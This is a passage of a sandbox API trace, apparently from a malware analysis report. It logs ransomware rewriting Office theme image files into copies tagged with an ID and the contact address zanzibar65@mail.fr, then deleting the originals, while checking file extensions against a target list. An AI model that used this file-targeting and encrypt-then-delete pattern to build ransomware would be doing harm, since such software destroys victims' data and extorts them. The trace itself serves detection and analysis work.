lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.947] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.947] SetEndOfFile (hFile=0x174) returned 1 [0043.948] CloseHandle (hObject=0x174) returned 1 [0043.948] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.948] SetEndOfFile (hFile=0x1f0) returned 1 [0043.949] CloseHandle (hObject=0x1f0) returned 1 [0043.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.949] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0043.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.949] lstrlenW (lpString=".doc") returned 4 [0043.949] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.949] lstrlenW (lpString=".docx") returned 5 [0043.949] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.949] lstrlenW (lpString=".pdf") returned 4 [0043.949] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.949] lstrlenW (lpString=".xls") returned 4 [0043.949] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.949] lstrlenW (lpString=".xlsx") returned 5 [0043.949] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.949] lstrlenW (lpString=".ppt") returned 4 [0043.949] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.949] lstrlenW (lpString=".zip") returned 4 [0043.949] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.949] lstrlenW (lpString=".rar") returned 4 [0043.949] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString=".bz2") returned 4 [0043.950] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.950] lstrlenW (lpString=".7z") returned 3 [0043.950] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.950] lstrlenW (lpString=".dbf") returned 4 [0043.950] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.950] lstrlenW (lpString=".1cd") returned 4 [0043.950] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.950] lstrlenW (lpString=".jpg") returned 4 [0043.950] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.950] lstrlenW (lpString=".doc") returned 4 [0043.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.950] lstrlenW (lpString=".docx") returned 5 [0043.950] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.950] lstrlenW (lpString=".pdf") returned 4 [0043.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString=".xls") returned 4 [0043.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString=".xlsx") returned 5 [0043.950] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.950] lstrlenW (lpString=".ppt") returned 4 [0043.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.950] lstrlenW (lpString=".zip") returned 4 [0043.950] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString=".rar") returned 4 [0043.950] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.950] lstrlenW (lpString=".bz2") returned 4 [0043.950] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.951] lstrlenW (lpString=".7z") returned 3 [0043.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.951] lstrlenW (lpString=".dbf") returned 4 [0043.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.951] lstrlenW (lpString=".1cd") returned 4 [0043.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0043.951] lstrlenW (lpString=".jpg") returned 4 [0043.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.951] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.951] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.952] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=60724) returned 1 [0043.952] CloseHandle (hObject=0x1f0) returned 1 [0043.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0043.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.952] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.952] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.953] GetLastError () returned 0x0 [0043.953] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xed34, lpOverlapped=0x0) returned 1 [0043.955] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xed40, lpOverlapped=0x0) returned 1 [0043.957] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.957] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.957] SetEndOfFile (hFile=0x174) returned 1 [0043.957] CloseHandle (hObject=0x174) returned 1 [0043.957] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.957] SetEndOfFile (hFile=0x1f0) returned 1 [0043.958] CloseHandle (hObject=0x1f0) returned 1 [0043.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.958] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0043.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.959] lstrlenW (lpString=".doc") returned 4 [0043.959] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.959] lstrlenW (lpString=".docx") returned 5 [0043.959] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.959] lstrlenW (lpString=".pdf") returned 4 [0043.959] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.959] lstrlenW (lpString=".xls") returned 4 [0043.959] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.959] lstrlenW (lpString=".xlsx") returned 5 [0043.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.959] lstrlenW (lpString=".ppt") returned 4 [0043.959] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.959] lstrlenW (lpString=".zip") returned 4 [0043.959] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.959] lstrlenW (lpString=".rar") returned 4 [0043.959] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.959] lstrlenW (lpString=".bz2") returned 4 [0043.959] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.959] lstrlenW (lpString=".7z") returned 3 [0043.959] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.959] lstrlenW (lpString=".dbf") returned 4 [0043.959] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.959] lstrlenW (lpString=".1cd") returned 4 [0043.959] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.959] lstrlenW (lpString=".jpg") returned 4 [0043.959] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.960] lstrlenW (lpString=".doc") returned 4 [0043.960] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.960] lstrlenW (lpString=".docx") returned 5 [0043.960] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.960] lstrlenW (lpString=".pdf") returned 4 [0043.960] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.960] lstrlenW (lpString=".xls") returned 4 [0043.960] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.960] lstrlenW (lpString=".xlsx") returned 5 [0043.960] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.960] lstrlenW (lpString=".ppt") returned 4 [0043.960] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.960] lstrlenW (lpString=".zip") returned 4 [0043.960] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.960] lstrlenW (lpString=".rar") returned 4 [0043.960] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.960] lstrlenW (lpString=".bz2") returned 4 [0043.960] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.960] lstrlenW (lpString=".7z") returned 3 [0043.960] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.960] lstrlenW (lpString=".dbf") returned 4 [0043.960] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.960] lstrlenW (lpString=".1cd") returned 4 [0043.960] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0043.960] lstrlenW (lpString=".jpg") returned 4 [0043.960] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.961] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.961] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.961] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2552) returned 1 [0043.961] CloseHandle (hObject=0x1f0) returned 1 [0043.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0043.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.962] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.962] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.964] GetLastError () returned 0x0 [0043.964] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x9f8, lpOverlapped=0x0) returned 1 [0043.966] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xa00, lpOverlapped=0x0) returned 1 [0043.967] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.967] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.967] SetEndOfFile (hFile=0x17c) returned 1 [0043.967] CloseHandle (hObject=0x17c) returned 1 [0043.967] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.967] SetEndOfFile (hFile=0x1f0) returned 1 [0043.968] CloseHandle (hObject=0x1f0) returned 1 [0043.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.968] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0043.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.969] lstrlenW (lpString=".doc") returned 4 [0043.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.969] lstrlenW (lpString=".docx") returned 5 [0043.969] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.969] lstrlenW (lpString=".pdf") returned 4 [0043.969] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.969] lstrlenW (lpString=".xls") returned 4 [0043.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.969] lstrlenW (lpString=".xlsx") returned 5 [0043.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.969] lstrlenW (lpString=".ppt") returned 4 [0043.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.969] lstrlenW (lpString=".zip") returned 4 [0043.969] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.969] lstrlenW (lpString=".rar") returned 4 [0043.969] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.969] lstrlenW (lpString=".bz2") returned 4 [0043.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.969] lstrlenW (lpString=".7z") returned 3 [0043.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.969] lstrlenW (lpString=".dbf") returned 4 [0043.969] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.969] lstrlenW (lpString=".1cd") returned 4 [0043.969] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.969] lstrlenW (lpString=".jpg") returned 4 [0043.969] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.970] lstrlenW (lpString=".doc") returned 4 [0043.970] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.970] lstrlenW (lpString=".docx") returned 5 [0043.970] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.970] lstrlenW (lpString=".pdf") returned 4 [0043.970] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.970] lstrlenW (lpString=".xls") returned 4 [0043.970] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.970] lstrlenW (lpString=".xlsx") returned 5 [0043.970] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.970] lstrlenW (lpString=".ppt") returned 4 [0043.970] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.970] lstrlenW (lpString=".zip") returned 4 [0043.970] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.970] lstrlenW (lpString=".rar") returned 4 [0043.970] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.970] lstrlenW (lpString=".bz2") returned 4 [0043.970] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.970] lstrlenW (lpString=".7z") returned 3 [0043.970] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.970] lstrlenW (lpString=".dbf") returned 4 [0043.970] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.970] lstrlenW (lpString=".1cd") returned 4 [0043.970] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0043.970] lstrlenW (lpString=".jpg") returned 4 [0043.970] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.971] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.971] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.971] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=18817) returned 1 [0043.971] CloseHandle (hObject=0x1f0) returned 1 [0043.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0043.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.971] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.971] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.972] GetLastError () returned 0x0 [0043.972] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4981, lpOverlapped=0x0) returned 1 [0043.973] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, 